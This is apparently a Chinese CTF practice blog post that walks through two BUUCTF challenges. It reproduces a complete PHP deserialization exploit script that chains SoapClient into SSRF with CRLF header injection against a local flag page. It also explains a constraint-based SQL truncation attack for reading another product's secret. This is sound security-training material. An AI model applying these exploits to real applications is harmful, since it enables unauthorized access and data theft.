刷题(二)

37 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

一:Buu刷题

[MRCTF2020]Ezpop_Revenge

涉及知识点

  • php代码审计
  • soap类ssrf

POP链逻辑:

  • 反序列化HelloWorld_DB,就触发了__wakeup()方法,在__wakeup()内实例化Typecho_Db并以$this->coincidence['hello']作为Typecho_Db__construct()方法的第一个参数;
  • PHP的数组是可以存对象,假设$this->coincidence['hello']实例化Typecho_Db_Query对象,在Typecho_Db的构造方法中将其作为字符串,就触发了Typecho_Db_Query__toString()方法;
  • __toString()内,如果$_sqlPreBuild['action']SELECT就会触发$_adapterparseSelect()方法;
  • $_adapter实例化为SoapClient,调用parseSelect()是不存在的方法,触发了SoapClient的__call()魔术方法
    -__call()是实现SSRF的关键

POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的%00这个不可见字符就能写成\00(如果是小写s 这个\00表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来

public SoapClient::__call ( string $function_name , array $arguments )

Y1ng师傅脚本

<?php
//www.gem-love.com
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /^^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

参考连接

(3条消息) [MRCTF2020]Ezpop_Revenge_沫忆末忆的博客-CSDN博客

[FBCTF2019]Products Manager

涉及知识点

  • 基于约束的sql攻击
  • 数据库字符串比较
  • INSERT截断

打开题目

查看源码

其中footer.php页面没用,header.php页面只是首页的三个跳转链接,index.php页面也没有可利用内容。
db.php页面中,查看到如下SQL语句:

CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)
);

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);

其中给出了提示,flag在facebook中,若想查询产品细节,需要产品的Secret值,一开始猜测本题是一道SQL注入题,但未找到可用的注入点,通过查阅大佬wp,得知是道基于约束的SQL攻击,参考资料

基于约束的SQL攻击

1. 数据库字符串比较
在数据库对字符串进行比较时,若两字符串长度不一样,则会在较短的字符串末尾填充空格,使两个字符串长度一致。
例:str1str的比较,比较时会在str的后面添加一个空格以补足长度。

也就是说,对于查询语句:

select * from users where username='test'
select * from users where username='test '

查询结果是一致的。

2. INSERT截断
在数据插入时,若数据长度超过了预先设定的限制,例如:name char(64)时,数据库会对字符串进行截断,只保留限定的长度。

\

在本题db.php页面源码中,查看添加产品和查询产品详情函数:

// 添加产品
function insert_product($name, $secret, $description) {
  global $db;
  $statement = $db->prepare(
    "INSERT INTO products (name, secret, description) VALUES
      (?, ?, ?)"
  );
  check_errors($statement);
  $statement->bind_param("sss", $name, $secret, $description);
  check_errors($statement->execute());
  $statement->close();
}

插入语句中"INSERT INTO products (name, secret, description) VALUES ($name, $secret, $description)",并未做任何处理,直接插入数据库。

// 查询产品详情
function get_product($name) {
  global $db;
  $statement = $db->prepare(
    "SELECT name, description FROM products WHERE name = ?"
  );
  check_errors($statement);
  $statement->bind_param("s", $name);
  check_errors($statement->execute());
  $res = $statement->get_result();
  check_errors($res);
  $product = $res->fetch_assoc();
  $statement->close();
  return $product;
}

在查询语句中"SELECT name, description FROM products WHERE name = $name",只是对获取的$name变量进行了拼接,未进行任何处理。

结合两点,产生了本题的利用点:

  • 添加一个facebook用户,即在产品名后加大于长度限制的空格,空格后需再跟若干个字符,在添加数据时,使添加的产品名与目标一致。
  • 查询时,返回的用户名是目标信息,达到水平越权

构造添加的产品信息:

Name:facebook                                                            11
Secret:qweASDzxc123
Description:123

添加成功,此时再查询刚刚添加的产品详情:

Name:facebook
Secret:qweASDzxc123
// 因为在存入数据库时,添加的Name属性长度超过限制被截断

最后查询得到flag